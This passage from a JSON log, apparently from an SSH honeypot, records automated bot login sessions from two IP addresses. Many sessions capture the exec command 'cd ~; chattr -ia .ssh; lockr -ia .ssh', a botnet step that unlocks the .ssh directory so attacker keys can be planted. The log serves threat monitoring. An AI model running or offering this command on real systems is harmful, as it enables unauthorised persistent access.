  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9e9a680-9441-49b6-bc46-77a63e953251",
  "name": "wistful-freckled-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 47098,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:24.744911+00:00",
  "ended_at": "2026-08-26T11:37:25.828021+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a66adb7a-e96e-4e29-8388-33c69b554bee",
  "name": "marbled-solemn-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43120,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:20.496098+00:00",
  "ended_at": "2026-08-26T11:37:22.386219+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dadfa8e8-56a0-45e1-82d5-675706bac657",
  "name": "languid-tidal-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43110,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:16.792312+00:00",
  "ended_at": "2026-08-26T11:37:18.795678+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea3cf1e8-49bb-47b6-9a86-22b48b7b6619",
  "name": "opal-primal-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42904,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 870,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:34:56.688747+00:00",
  "ended_at": "2026-08-26T11:34:58.126427+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "9ae98c96-1d5a-4ff4-8301-5d9669b3949c",
  "name": "proud-lanky-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42922,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:34:36.988514+00:00",
  "ended_at": "2026-08-26T11:34:37.985590+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2a2f910-174c-4140-972d-45a07eaba150",
  "name": "prickly-early-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42912,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:34:33.888614+00:00",
  "ended_at": "2026-08-26T11:34:35.284493+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "34f80c5d-ecc3-4c4c-8732-2facfc5f8ece",
  "name": "gnarled-airy-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42708,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 844,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:32:10.883641+00:00",
  "ended_at": "2026-08-26T11:32:11.680381+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2106
 },
 {
  "id": "39c0afe1-d29d-434d-ba17-454f591cae22",
  "name": "plucky-frosty-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42724,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:31:54.591185+00:00",
  "ended_at": "2026-08-26T11:31:55.795587+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "17697e57-e39f-4168-b1c1-7da6a3d584ec",
  "name": "lawful-prickly-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42716,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:31:50.889486+00:00",
  "ended_at": "2026-08-26T11:31:52.856270+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd738abe-884b-443c-bfd1-c3ea9b6fe0bf",
  "name": "snowy-forlorn-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 41352,
  "username": "sgp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 612,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:29:09.002582+00:00",
  "ended_at": "2026-08-26T11:29:10.410808+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "4826b3f0-eb6f-4897-9b68-e917eff69c76",
  "name": "languid-wooded-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42516,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:29:06.085419+00:00",
  "ended_at": "2026-08-26T11:29:08.184541+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75c306de-b1b3-4c03-913e-427944fb5ba8",
  "name": "obsidian-burly-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42508,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:29:02.352659+00:00",
  "ended_at": "2026-08-26T11:29:04.382514+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14b6ca15-6a85-43d0-9891-33c5dbff9927",
  "name": "quartz-ancient-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42500,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:28:59.486436+00:00",
  "ended_at": "2026-08-26T11:29:00.381497+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "78c1fc94-4032-40a7-87bb-16f55d6b3ee5",
  "name": "jovial-earnest-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42302,
  "username": "cgonzalez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 871,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:26:37.896770+00:00",
  "ended_at": "2026-08-26T11:26:38.924393+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2051
 },
 {
  "id": "f9095080-7f0c-4a10-9f0d-1f1b9ac1d6c8",
  "name": "obsidian-craggy-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42318,
  "username": "cgonzalez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:26:21.284500+00:00",
  "ended_at": "2026-08-26T11:26:22.450575+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca600ff8-b4b2-44d9-b9a0-fcf982ba2d91",
  "name": "quiet-whispering-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42310,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:26:17.643011+00:00",
  "ended_at": "2026-08-26T11:26:19.513590+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47e676c9-8c0b-4487-bd16-3ab9269f7300",
  "name": "mossy-burly-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42064,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:21:39.297562+00:00",
  "ended_at": "2026-08-26T11:21:40.482281+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "759c44d5-79aa-42ea-8cc4-e88cff721379",
  "name": "blithe-merry-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 48552,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:11:56.398052+00:00",
  "ended_at": "2026-08-26T11:11:57.985697+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "015fe738-86d0-4600-8fc1-ce1862f46dff",
  "name": "sullen-rugged-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 46886,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 585,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:07:25.095860+00:00",
  "ended_at": "2026-08-26T11:07:25.894192+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2291
 },
 {
  "id": "428f5f89-0c64-49a8-8d5f-a21bba27fb95",
  "name": "courtly-sandy-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 58906,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:07:11.242724+00:00",
  "ended_at": "2026-08-26T11:07:13.134588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79db8206-616c-4adf-b4c2-57332374ccf1",
  "name": "pristine-freckled-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 33232,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 604,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:02:52.624467+00:00",
  "ended_at": "2026-08-26T11:02:53.299019+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2280
 },
 {
  "id": "3e11718a-4da8-4977-80fe-20d992f7ed63",
  "name": "icy-upland-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 60224,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:02:39.676937+00:00",
  "ended_at": "2026-08-26T11:02:41.218700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a751598-f314-48a6-b8a2-3a87f0ef7bed",
  "name": "blunt-hearty-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 33236,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:02:36.667302+00:00",
  "ended_at": "2026-08-26T11:02:37.951847+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0582e41e-a6e7-44ff-a77a-c270af0429d1",
  "name": "diligent-bold-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 40602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 617,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:54:26.556075+00:00",
  "ended_at": "2026-08-26T10:54:27.999283+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2271
 },
 {
  "id": "764e00f0-7064-4ad3-810f-1e52227f0044",
  "name": "gnarled-twilight-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 40618,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:53:56.214666+00:00",
  "ended_at": "2026-08-26T10:53:57.409437+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "01c754e0-3b90-438c-bada-aba809ae3f87",
  "name": "flinty-alpine-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 41778,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:50:02.070375+00:00",
  "ended_at": "2026-08-26T10:50:02.781088+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "be340f5a-e936-4685-a83a-b2a3bdd9f729",
  "name": "muted-leafy-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 44114,
  "username": "postmaster",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 606,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:45:29.561927+00:00",
  "ended_at": "2026-08-26T10:45:30.274291+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2196
 },
 {
  "id": "74d67c22-45c9-43c4-aef8-026c20ac6f8a",
  "name": "slender-calm-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 44124,
  "username": "postmaster",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:45:16.225441+00:00",
  "ended_at": "2026-08-26T10:45:17.459050+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "616c17dd-6b60-495a-967f-521fcaaf2e25",
  "name": "mossy-glacial-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 44118,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:45:12.989148+00:00",
  "ended_at": "2026-08-26T10:45:15.052482+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1dd6113f-076a-4ab2-ada1-a5ea698ab339",
  "name": "ginger-lucid-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 38334,
  "username": "tester1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 618,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:36:59.922949+00:00",
  "ended_at": "2026-08-26T10:37:01.241820+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2188
 },
 {
  "id": "1f15c5ef-c133-4f8b-ac48-32b6ec245d3d",
  "name": "thorny-emerald-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 38356,
  "username": "tester1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:36:38.346555+00:00",
  "ended_at": "2026-08-26T10:36:39.156466+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "340e0f3b-598f-4a38-a3e7-f8ed8954ff7c",
  "name": "blunt-smooth-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 38348,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:36:34.461112+00:00",
  "ended_at": "2026-08-26T10:36:36.021788+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33f53130-2244-448b-a647-4ef6efe00ae3",
  "name": "stoic-solar-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 45730,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 590,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:32:40.368925+00:00",
  "ended_at": "2026-08-26T10:32:42.587422+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2177
 },
 {
  "id": "337fe35f-4dde-4272-a95a-ab5a3adb673a",
  "name": "windswept-nimble-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 45744,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:32:19.120103+00:00",
  "ended_at": "2026-08-26T10:32:20.406871+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d610a02-69db-4d1d-9490-d8f5ef6def90",
  "name": "nautical-proud-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 45742,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:32:15.269616+00:00",
  "ended_at": "2026-08-26T10:32:16.923705+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "100a3746-1310-476c-b1b4-94bcbf105d1f",
  "name": "hushed-honest-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 58910,
  "username": "arkserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 592,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:28:27.880116+00:00",
  "ended_at": "2026-08-26T10:28:29.479578+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "0020239e-8134-4b2a-a3ef-06753559c827",
  "name": "humble-dappled-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 51480,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 615,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:23:58.690166+00:00",
  "ended_at": "2026-08-26T10:24:00.018969+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "d9096e97-5dbf-41a5-8f62-70595ad5e015",
  "name": "languid-balmy-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 51500,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:23:37.748190+00:00",
  "ended_at": "2026-08-26T10:23:39.507480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "569df95d-833b-4902-b677-d38593e476b3",
  "name": "sooty-faded-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 51494,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:23:35.098189+00:00",
  "ended_at": "2026-08-26T10:23:36.056229+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3c633b0-6488-4717-a0f4-c399e02644ca",
  "name": "cheerful-inland-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 36286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 616,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:19:39.338741+00:00",
  "ended_at": "2026-08-26T10:19:41.087847+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "a3f1c7e9-a607-4ced-8b4e-75206c4da9d9",
  "name": "sterling-seaward-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 44310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:19:20.822895+00:00",
  "ended_at": "2026-08-26T10:19:21.883890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1546bebd-939d-44fc-9710-11270f5a35e9",
  "name": "hollow-shaded-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 36292,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:19:17.170633+00:00",
  "ended_at": "2026-08-26T10:19:19.120763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb8e6693-cde6-4fbb-8abb-03ae9efdf0ee",
  "name": "nameless-western-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 38584,
  "username": "eve",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 595,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:15:29.645308+00:00",
  "ended_at": "2026-08-26T10:15:31.154005+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2123
 },
 {
  "id": "621dfc2f-f9ed-4584-aa13-aa1c3a8cb412",
  "name": "thorny-lonesome-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 57234,
  "username": "contact",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 954,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:11:10.996306+00:00",
  "ended_at": "2026-08-26T10:11:12.616810+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2116
 },
 {
  "id": "b33232f9-4f46-4df0-a678-2c4b872f85c7",
  "name": "forlorn-idle-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 35348,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:06:36.905884+00:00",
  "ended_at": "2026-08-26T10:06:37.685000+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "d0f18b3a-dac2-4913-a65d-045de054620d",
  "name": "marine-earnest-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 54754,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:06:24.561905+00:00",
  "ended_at": "2026-08-26T10:06:25.801967+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2ce7150-0e49-4b91-9027-0bd076c2fad5",
  "name": "ginger-glacial-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 35730,
  "username": "stepan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 590,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T10:02:17.929850+00:00",
  "ended_at": "2026-08-26T10:02:18.606257+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2103
 },
 {
  "id": "aede5f06-a969-4bc3-a25e-21135e6638fb",
  "name": "placid-velvet-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 52010,
  "username": "stepan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T10:02:02.776224+00:00",
  "ended_at": "2026-08-26T10:02:04.603903+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a478ab2-ed8f-4c13-9f2a-e0e09322a336",
  "name": "amber-glacial-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 57736,
  "username": "fedora",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
